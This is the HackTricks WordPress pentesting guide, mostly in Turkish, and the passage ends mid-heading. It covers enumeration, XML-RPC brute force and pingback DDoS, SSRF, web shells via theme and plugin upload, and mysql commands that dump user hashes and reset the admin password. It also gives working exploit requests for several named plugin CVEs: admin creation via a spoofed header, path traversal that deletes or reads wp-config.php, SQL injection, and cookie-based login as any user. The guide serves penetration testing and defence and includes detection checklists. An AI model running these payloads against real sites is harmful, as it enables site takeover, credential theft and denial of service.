Wordpress

Reading time: 31 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

  • Uploaded dosyaları gider: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Themes files can be found in /wp-content/themes/, bu nedenle tema php'sini değiştirip RCE elde etmeye çalışırsanız muhtemelen bu yolu kullanırsınız. Örneğin: theme twentytwelve kullanarak şu dosyaya erişebilirsiniz: /wp-content/themes/twentytwelve/404.php

  • Another useful url could be: /wp-content/themes/default/404.php

  • wp-config.php içinde veritabanı root parolasını bulabilirsiniz.

  • Kontrol edilmesi gereken varsayılan giriş yolları: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php
  • license.txt yüklü WordPress sürümü gibi faydalı bilgiler içerir.
  • wp-activate.php yeni bir WordPress sitesi kurulduğunda e-posta aktivasyon süreci için kullanılır.
  • Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php WordPress'in HTTP taşıyıcı mekanizma ve XML kodlama mekanizmasıyla veri iletimine izin veren bir özelliğini temsil eden bir dosyadır. Bu tür iletişim WordPress REST API ile değiştirilmiştir.
  • wp-content klasörü eklentilerin ve temaların saklandığı ana dizindir.
  • wp-content/uploads/ platforma yüklenen herhangi bir dosyanın saklandığı dizindir.
  • wp-includes/ sertifikalar, fontlar, JavaScript dosyaları ve widget'lar gibi çekirdek dosyaların bulunduğu dizindir.
  • wp-sitemap.xml WordPress 5.5 ve üzeri sürümlerde, WordPress tüm herkese açık gönderiler ve herkese açık sorgulanabilir gönderi türleri ile taksonomiler için bir sitemap XML dosyası oluşturur.

Post exploitation

  • wp-config.php dosyası WordPress'in veritabanına bağlanmak için gereken veritabanı adı, veritabanı hostu, kullanıcı adı ve parola, authentication keys ve salts ile veritabanı tablo önekinin (prefix) bilgilerini içerir. Bu yapılandırma dosyası ayrıca DEBUG modunu aktifleştirmek için de kullanılabilir; bu da sorun giderme sırasında yararlı olabilir.

Kullanıcı İzinleri

  • Administrator
  • Editor: Kendi ve diğerlerinin gönderilerini yayınlar ve yönetir
  • Author: Kendi gönderilerini yayınlar ve yönetir
  • Contributor: Gönderilerini yazar ve yönetir fakat yayınlayamaz
  • Subscriber: Gönderileri görüntüler ve profillerini düzenler

Passive Enumeration

Get WordPress version

/license.txt veya /readme.html dosyalarını bulup bulamayacağınızı kontrol edin

Sayfanın source code içinde (örnek: https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS link dosyaları

  • JavaScript dosyaları

Eklentileri Al

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Temaları Al

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Genel olarak sürümleri çıkarma

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Aktif keşif

Eklentiler ve Temalar

Muhtemelen tüm eklenti ve temaları bulamayacaksınız. Bunların hepsini keşfetmek için bir eklenti ve tema listesine aktif olarak Brute Force yapmanız gerekecek (umarız ki bizim için bu listeleri içeren otomatik araçlar vardır).

Kullanıcılar

  • ID Brute: Bir WordPress sitesinden kullanıcı ID'lerini Brute Forcing yaparak geçerli kullanıcılar elde edersiniz:
bash
curl -s -I -X GET http://blog.example.com/?author=1

Eğer yanıtlar 200 veya 30X ise, bu id'nin geçerli olduğu anlamına gelir. Eğer yanıt 400 ise, id geçersizdir.

  • wp-json: Kullanıcılar hakkında bilgi almak için sorgulamayı da deneyebilirsiniz:
bash
curl http://blog.example.com/wp-json/wp/v2/users

Kullanıcılar hakkında bazı bilgiler ortaya çıkarabilecek bir diğer /wp-json/ endpoint'i şudur:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Note that this endpoint only exposes users that have made a post. Sadece bu özelliği etkinleştirmiş kullanıcılar hakkında bilgi sağlanacaktır.

Ayrıca /wp-json/wp/v2/pages IP adreslerini leak edebilir.

  • Login username enumeration: /wp-login.php'de giriş yaparken gösterilen mesaj, belirtilen kullanıcı adının var olup olmadığına göre farklıdır.

XML-RPC

Eğer xml-rpc.php aktifse credentials brute-force gerçekleştirebilir veya bunu diğer kaynaklara DoS attacks başlatmak için kullanabilirsiniz. (You can automate this process using this for example).

Aktif olup olmadığını kontrol etmek için /xmlrpc.php adresine erişmeyi deneyin ve şu isteği gönderin:

Kontrol

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories veya metaWeblog.getUsersBlogs credentials üzerinde brute-force yapmak için kullanılabilecek bazı yöntemlerdir. Eğer bunlardan herhangi birini bulabilirseniz şu şekilde bir şey gönderebilirsiniz:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Kimlik bilgileri geçerli değilse, 200 kodlu bir yanıtta "Incorrect username or password" mesajı görünmelidir.

Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta yol şu şekilde görünür (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Ayrıca aynı istekte birden fazla kimlik bilgisi deneyebildiğiniz için system.multicall kullanarak kimlik bilgilerini brute-force etmek için daha hızlı bir yol vardır:

Bypass 2FA

Bu yöntem programlar için tasarlanmıştır, insanlar için değil ve eski olduğu için 2FA'yı desteklemez. Yani, geçerli kimlik bilgilerine sahipseniz ancak ana giriş 2FA ile korunuyorsa, xmlrpc.php'yi kötüye kullanarak o kimlik bilgileriyle 2FA'yı atlayıp giriş yapabilmeniz mümkün olabilir. Konsoldan yapabildiğiniz tüm işlemleri gerçekleştiremeyebileceğinizi unutmayın, ancak Ippsec'in açıkladığı gibi yine de RCE'ye ulaşabilmeniz mümkün olabilir https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

Eğer listede pingback.ping yöntemini bulabilirseniz Wordpress'in herhangi bir host/port'a rastgele bir istek göndermesini sağlayabilirsiniz.
Bu, binlerce Wordpress sitenin tek bir konuma erişmesini istemek için kullanılabilir (böylece o konumda bir DDoS oluşur) veya bunu Wordpress'in bazı iç ağları taraması için kullanabilirsiniz (herhangi bir port belirtebilirsiniz).

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Eğer faultCode değeri 0'dan büyük (17) ise, bu portun açık olduğunu gösterir.

Önceki bölümdeki system.multicall kullanımına bakın; bu yöntemi kötüye kullanarak nasıl DDoS oluşturulacağını öğrenin.

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Bu dosya genellikle Wordpress sitesinin kök dizininde bulunur: /wp-cron.php
Bu dosyaya erişildiğinde bir "ağır" MySQL query çalıştırılır; bu yüzden attackers bunu kullanarak bir DoS'a sebep olabilir.
Ayrıca, varsayılan olarak, wp-cron.php her sayfa yüklenişinde (bir istemci herhangi bir Wordpress sayfasını istediğinde) çağrılır; bu da yüksek trafikli sitelerde sorunlara (DoS) yol açabilir.

Wp-Cron'u devre dışı bırakıp host içinde gerçek bir cronjob oluşturarak gerekli işlemlerin düzenli aralıklarla (sorun çıkarmadan) gerçekleştirilmesi önerilir.

/wp-json/oembed/1.0/proxy - SSRF

Şu adrese erişmeyi deneyin https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net ve Worpress site size bir istek yapabilir.

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Bu araç methodName: pingback.ping olup olmadığını ve /wp-json/oembed/1.0/proxy yolunun varlığını kontrol eder; eğer varsa bunları exploit etmeye çalışır.

Otomatik Araçlar

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Bir biti değiştirerek erişim

Gerçek bir saldırıdan ziyade bu bir merak. CTF'de https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man herhangi bir wordpress dosyasından 1 biti çevirebiliyordunuz. Böylece /var/www/html/wp-includes/user.php dosyasının 5389 konumundaki biti çevirerek NOT (!) işlemini NOP yapabilirdiniz.

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Kullanılan temadan bir php değiştirme (admin credentials needed)

Görünüm → Tema Düzenleyici → 404 Şablonu (sağda)

php shell için içeriği değiştirin:

Internette güncellenmiş sayfaya nasıl erişeceğinizi arayın. Bu durumda buraya erişmelisiniz: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Şunu kullanabilirsiniz:

bash
use exploit/unix/webapp/wp_admin_shell_upload

oturum elde etmek için.

Eklenti RCE

PHP eklentisi

.php dosyalarını eklenti olarak yüklemek mümkün olabilir.
Örneğin PHP backdoor'unuzu şu şekilde oluşturun:

Sonra yeni bir eklenti ekleyin:

Eklentiyi yükleyip "Install Now" tuşuna basın:

Procced'e tıklayın:

Muhtemelen görünürde hiçbir şey olmaz, ama Media'ya giderseniz yüklenmiş shell'inizi göreceksiniz:

Onu açtığınızda reverse shell'i çalıştırmak için URL'i göreceksiniz:

Kötü amaçlı eklentinin yüklenmesi ve etkinleştirilmesi

Bu yöntem, bilinen bir zafiyete sahip ve web shell elde etmek için istismar edilebilen kötü amaçlı bir eklentinin kurulmasını içerir. Bu süreç WordPress dashboard'ı üzerinden şu şekilde gerçekleştirilir:

  1. Eklentinin Edinilmesi: Eklenti, Exploit DB gibi bir kaynaktan edinilir; örneğin here.
  2. Eklenti Kurulumu:
  • WordPress dashboard'ına gidin, ardından Dashboard > Plugins > Upload Plugin yolunu izleyin.
  • İndirilen eklentinin zip dosyasını yükleyin.
  1. Eklentinin Etkinleştirilmesi: Eklenti başarıyla kurulduktan sonra dashboard üzerinden etkinleştirilmelidir.
  2. İstismar:
  • "reflex-gallery" eklentisi yüklü ve etkinleştirilmişse, bilinen bir zafiyet nedeniyle istismar edilebilir.
  • Metasploit framework bu zafiyet için bir exploit sağlar. Uygun modülü yükleyip belirli komutları çalıştırarak, siteye yetkisiz erişim sağlayan bir meterpreter oturumu kurulabilir.
  • Bu, WordPress sitesini istismar etmenin birçok yönteminden sadece biri olduğuna dikkat edilmelidir.

İçerik, eklentinin kurulması ve etkinleştirilmesine ilişkin adımları gösteren görsel yardımcılar içerir. Ancak, bu tür zafiyetleri yetkisiz şekilde istismar etmenin yasa dışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgiler sorumlu şekilde ve yalnızca açık izinle yapılan penetration testing gibi yasal bağlamlarda kullanılmalıdır.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

XSS'den RCE'ye

  • WPXStrike: WPXStrike is a script designed to escalate a Cross-Site Scripting (XSS) vulnerability to Remote Code Execution (RCE) or other's criticals vulnerabilities in WordPress. For more info check this post. It provides support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
  • Yetki Yükseltme: WordPress'te bir kullanıcı oluşturur.
  • (RCE) Özel Eklenti (backdoor) Yükleme: Özel eklentinizi (backdoor) WordPress'e yükleyin.
  • (RCE) Dahili Eklenti Düzenleme: WordPress'teki dahili eklentileri düzenleyin.
  • (RCE) Dahili Tema Düzenleme: WordPress'teki dahili temaları düzenleyin.
  • (Özel) Özel Exploitler: Üçüncü taraf WordPress eklentileri/temaları için özel Exploitler.

İstismar Sonrası

Kullanıcı adları ve şifreleri çıkarın:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Admin parolasını değiştir:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Saldırı Yüzeyi

Bir Wordpress eklentisinin hangi yollarla işlevsellik açığa çıkarabileceğini bilmek, o işlevsellikteki zafiyetleri bulmak için kritiktir. Bir eklentinin işlevselliği nasıl açığa çıkarabileceğini aşağıdaki maddelerde bulabilirsiniz ve örnek zafiyetli eklentilere dair bazı örnekler this blog post'ta mevcuttur.

  • wp_ajax

Bir eklentinin işlevleri kullanıcılara açığa çıkarmasının yollarından biri AJAX handler'ları aracılığıyladır. Bu handler'lar mantık, yetkilendirme veya kimlik doğrulama hataları içerebilir. Ayrıca, bu fonksiyonların hem kimlik doğrulama hem de yetkilendirmeyi genellikle bir wordpress nonce'unun varlığına dayandırması sık rastlanan bir durumdur; bu nonce'a wordpress örneğinde kimliği doğrulanmış herhangi bir kullanıcı sahip olabilir (rolünden bağımsız olarak).

Bunlar, bir eklentide bir fonksiyonu açığa çıkarmak için kullanılabilecek fonksiyonlardır:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

nopriv kullanımı endpoint'i herhangi bir kullanıcı tarafından (kimlik doğrulaması yapılmamış olanlar dahil) erişilebilir kılar.

caution

Ayrıca, eğer fonksiyon sadece kullanıcının yetkilendirmesini wp_verify_nonce fonksiyonu ile kontrol ediyorsa, bu fonksiyon genellikle yalnızca kullanıcının giriş yapıp yapmadığını kontrol eder; kullanıcının rolünü genellikle kontrol etmez. Bu yüzden düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı işlemlere erişebilir.

  • REST API

Ayrıca register_rest_route fonksiyonunu kullanarak wordpress'ten fonksiyonları REST API üzerinden erişime açmak da mümkündür:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback bir API yöntemini çağırmaya yetkili olup olmadığını kontrol eden bir geriçağırım (callback) fonksiyonudur.

Eğer yerleşik __return_true fonksiyonu kullanılmışsa, kullanıcı izinleri kontrolünü atlar.

  • php dosyasına doğrudan erişim

Elbette, Wordpress PHP kullanır ve eklenti içindeki dosyalar web'den doğrudan erişilebilir. Bu yüzden bir eklenti, dosyaya sadece erişilmesiyle tetiklenen herhangi bir zayıf işlevsellik açığa çıkarıyorsa, bu her kullanıcı tarafından istismar edilebilir.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Bazı eklentiler, dahili entegrasyonlar veya reverse proxies için “trusted header” kısa yolları uygular ve daha sonra REST istekleri için mevcut kullanıcı bağlamını ayarlamak üzere bu header'ı kullanır. Eğer header, upstream bir bileşen tarafından kriptografik olarak isteğe bağlanmamışsa, bir saldırgan bu header'ı sahteleyebilir ve yönetici olarak ayrıcalıklı REST rotalarına erişebilir.

  • Etki: kimlik doğrulaması olmayan bir saldırganın core users REST rotası üzerinden yeni bir yönetici oluşturarak admin ayrıcalıklarına yükselmesi.
  • Örnek header: X-Wcpay-Platform-Checkout-User: 1 (kullanıcı ID'sini 1 olarak zorlar, genellikle ilk yönetici hesabı).
  • İstismar edilen rota: POST /wp-json/wp/v2/users yükseltilmiş bir rol içeren bir array ile.

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Neden işe yarıyor

  • Eklenti, istemci tarafından kontrol edilen bir HTTP header'ını kimlik doğrulama durumuna eşliyor ve capability kontrollerini atlıyor.
  • WordPress core bu route için create_users capability'sini bekler; eklenti hack'i bunu header'dan doğrudan mevcut kullanıcı bağlamını ayarlayarak atlıyor.

Beklenen başarı göstergeleri

  • HTTP 201 ile oluşturulan kullanıcıyı tanımlayan bir JSON gövdesi.
  • wp-admin/users.php içinde görünen yeni bir admin kullanıcı.

Tespit kontrol listesi

  • Grep for getallheaders(), $_SERVER['HTTP_...'], or vendor SDKs that read custom headers to set user context (e.g., wp_set_current_user(), wp_set_auth_cookie()).
  • Review REST registrations for privileged callbacks that lack robust permission_callback checks and instead rely on request headers.
  • Look for usages of core user-management functions (wp_insert_user, wp_create_user) inside REST handlers that are gated only by header values.

wp_ajax_nopriv aracılığıyla Kimliği Doğrulanmamış Keyfi Dosya Silme (Litho Theme <= 3.0)

WordPress temaları ve eklentileri sıklıkla wp_ajax_ ve wp_ajax_nopriv_ hook'ları aracılığıyla AJAX handler'ları açığa çıkarır. nopriv varyantı kullanıldığında callback, kimliği doğrulanmamış ziyaretçiler tarafından erişilebilir hale gelir, bu nedenle herhangi bir hassas işlem ayrıca şu kontrolleri uygulamalıdır:

  1. Bir capability kontrolü (ör. current_user_can() veya en azından is_user_logged_in()), ve
  2. check_ajax_referer() / wp_verify_nonce() ile doğrulanan bir CSRF nonce, ve
  3. Sıkı input sanitizasyonu / doğrulama.

Litho multipurpose tema (< 3.1), Remove Font Family özelliğinde bu 3 kontrolü unutmuş ve sonuç olarak aşağıdaki (basitleştirilmiş) kodu göndermiştir:

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Issues introduced by this snippet:

  • Kimlik doğrulanmamış erişim – the wp_ajax_nopriv_ hook is registered.
  • Nonce / capability check yok – herhangi bir ziyaretçi endpoint'e erişebilir.
  • Yol sanitisationu yok – kullanıcı kontrollü fontfamily stringi filtrelenmeden bir dosya sistemi yoluna birleştiriliyor, klasik ../../ traversal'a izin veriyor.

İstismar

Bir saldırgan tek bir HTTP POST isteği göndererek yüklemeler temel dizininin altındaki (genellikle <wp-root>/wp-content/uploads/) herhangi bir dosyayı veya dizini silebilir:

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).

Diğer etkili hedefler arasında plugin/theme .php dosyaları (güvenlik plugin'lerini bozmak için) veya .htaccess kuralları bulunur.

Detection checklist

  • Dosya sistemi yardımcılarını (copy(), unlink(), $wp_filesystem->delete(), vb.) çağıran herhangi bir add_action( 'wp_ajax_nopriv_...') callback'i.
  • Kullanıcı girdisinin temizlenmeden yollarla birleştirilmesi (bakılacaklar: $_POST, $_GET, $_REQUEST).
  • check_ajax_referer() ve current_user_can()/is_user_logged_in()'in yokluğu.

Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")

Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., $_REQUEST['reset-for']) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.

A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on reset-for=<username> if the username appeared in an internal array $options['viewing_admin_as_role_are'], but performed neither a current_user_can() check nor a nonce verification before removing current roles and re-adding the saved roles from user meta _asenha_view_admin_as_original_roles:

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Neden istismar edilebilir

  • Sunucu tarafı yetkilendirmesi olmadan $_REQUEST['reset-for'] ve bir eklenti seçeneğine güvenir.
  • Eğer bir kullanıcının daha önce _asenha_view_admin_as_original_roles içinde daha yüksek ayrıcalıkları kaydedilmişse ve sonra yetkileri düşürülmüşse, reset yolunu tetikleyerek bunları geri getirebilir.
  • Bazı dağıtımlarda, kimliği doğrulanmış herhangi bir kullanıcı, viewing_admin_as_role_are içinde hâlâ bulunan başka bir kullanıcı adı için reset tetikleyebilir (bozuk yetkilendirme).

İstismar (örnek)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

Zayıf yapılandırmalarda bu mevcut rolleri kaldırır ve kaydedilmiş orijinal rolleri (ör. administrator) yeniden ekler; bu da etkin olarak ayrıcalık yükseltmeye yol açar.

Detection checklist

  • Look for role-switching features that persist “original roles” in user meta (e.g., _asenha_view_admin_as_original_roles).
  • Identify reset/restore paths that:
  • Kullanıcı adlarını $_REQUEST / $_GET / $_POST'ten okuyan.
  • current_user_can() ve wp_verify_nonce() / check_admin_referer() olmadan add_role() / remove_role() ile rolleri değiştiren.
  • Yetkilendirmeyi aktörün capabilities yerine bir plugin option dizisine (ör. viewing_admin_as_role_are) dayandıran.

Kamusal init üzerinde çerez-tabanlı kullanıcı değiştirme ile kimlik doğrulanmamış ayrıcalık yükseltmesi (Service Finder “sf-booking”)

Bazı pluginler user-switching yardımcılarını public init hook'una bağlar ve kimliği client tarafından kontrol edilen bir çerezden türetir. Eğer kod wp_set_auth_cookie()'i kimlik doğrulamayı, capability ve geçerli bir nonce'u doğrulamadan çağırıyorsa, herhangi bir kimlik doğrulanmamış ziyaretçi rastgele bir kullanıcı ID'si olarak oturum açmayı zorlayabilir.

Tipik zafiyetli desen (Service Finder Bookings ≤ 6.1'den sadeleştirilmiş):

php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Neden istismar edilebilir

  • Genel init hook, işleyiciyi kimlik doğrulanmamış kullanıcıların erişimine açar (hiçbir is_user_logged_in() koruması yok).
  • Kimlik, istemci tarafından değiştirilebilen bir çerezden (original_user_id) türetilir.
  • wp_set_auth_cookie($uid)'nin doğrudan çağrısı, istekte bulunanı herhangi bir capability/nonce kontrolü olmadan o kullanıcı olarak oturum açtırır.

İstismar (kimlik doğrulanmamış)

http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

WordPress/plugin CVEs için WAF ile ilgili hususlar

Genel edge/server WAF'ları geniş desenlere göre ayarlanmıştır (SQLi, XSS, LFI). Birçok yüksek etkili WordPress/plugin zafiyeti, motor WordPress rotalarını ve plugin semantics'ini anlamadığı sürece zararsız trafik gibi görünen uygulamaya-özgü mantık/auth hatalarıdır.

Saldırı notları

  • Temiz payload'larla plugin-özgü endpoint'leri hedefleyin: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Önce unauth yollarını test edin (AJAX nopriv, REST with permissive permission_callback, public shortcodes). Varsayılan payload'lar genellikle obfuscation olmadan başarılı olur.
  • Tipik yüksek etkili vakalar: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Savunma notları

  • Plugin CVEs'i korumak için genel WAF imzalarına güvenmeyin. Uygulama-katmanı, zafiyete-özel virtual patch'ler uygulayın veya hızlıca güncelleyin.
  • Kodda negative regex filtreleri yerine positive-security kontrollerini tercih edin (capabilities, nonces, strict input validation).

WordPress Koruması

Düzenli Güncellemeler

WordPress, plugins ve themes'in güncel olduğundan emin olun. Ayrıca otomatik güncellemenin wp-config.php içinde etkinleştirildiğini doğrulayın:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Ayrıca, sadece güvenilir WordPress eklentileri ve temaları yükleyin.

Güvenlik Eklentileri

Diğer Öneriler

  • Varsayılan admin kullanıcısını kaldırın
  • Güçlü parolalar ve 2FA kullanın
  • Kullanıcıların izinlerini periyodik olarak gözden geçirin
  • Brute Force saldırılarını önlemek için giriş denemelerini sınırlayın
  • wp-admin.php dosyasının adını değiştirin ve erişime yalnızca iç ağdan veya belirli IP adreslerinden izin verin.

Kimlik doğrulama gerektirmeyen SQL Injection (yetersiz doğrulama nedeniyle) (WP Job Portal <= 2.3.2)

WP Job Portal işe alım eklentisi, sonuçta modules/category/model.php::validateFormData() içinde aşağıdaki savunmasız kodu çalıştıran savecategory görevini açığa çıkardı:

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Issues introduced by this snippet:

  1. Unsanitised user inputparentid comes straight from the HTTP request.
  2. String concatenation inside the WHERE clause – no is_numeric() / esc_sql() / prepared statement.
  3. Unauthenticated reachability – although the action is executed through admin-post.php, the only check in place is a CSRF nonce (wp_verify_nonce()), which any visitor can retrieve from a public page embedding the shortcode [wpjobportal_my_resumes].

İstismar

  1. Taze bir nonce alın:
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. parentid'i kötüye kullanarak rastgele SQL enjekte edin:
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

The response discloses the result of the injected query or alters the database, proving SQLi.

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

Another task, downloadcustomfile, allowed visitors to download any file on disk via path traversal. The vulnerable sink is located in modules/customfield/model.php::downloadCustomUploadedFile():

php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name attacker-controlled ve temizlenmeden birleştiriliyor. Tekrar, tek engel resume sayfasından alınabilecek bir CSRF nonce.

Exploitation

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

Sunucu wp-config.php içeriği ile yanıt veriyor, leaking DB credentials and auth keys.

Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

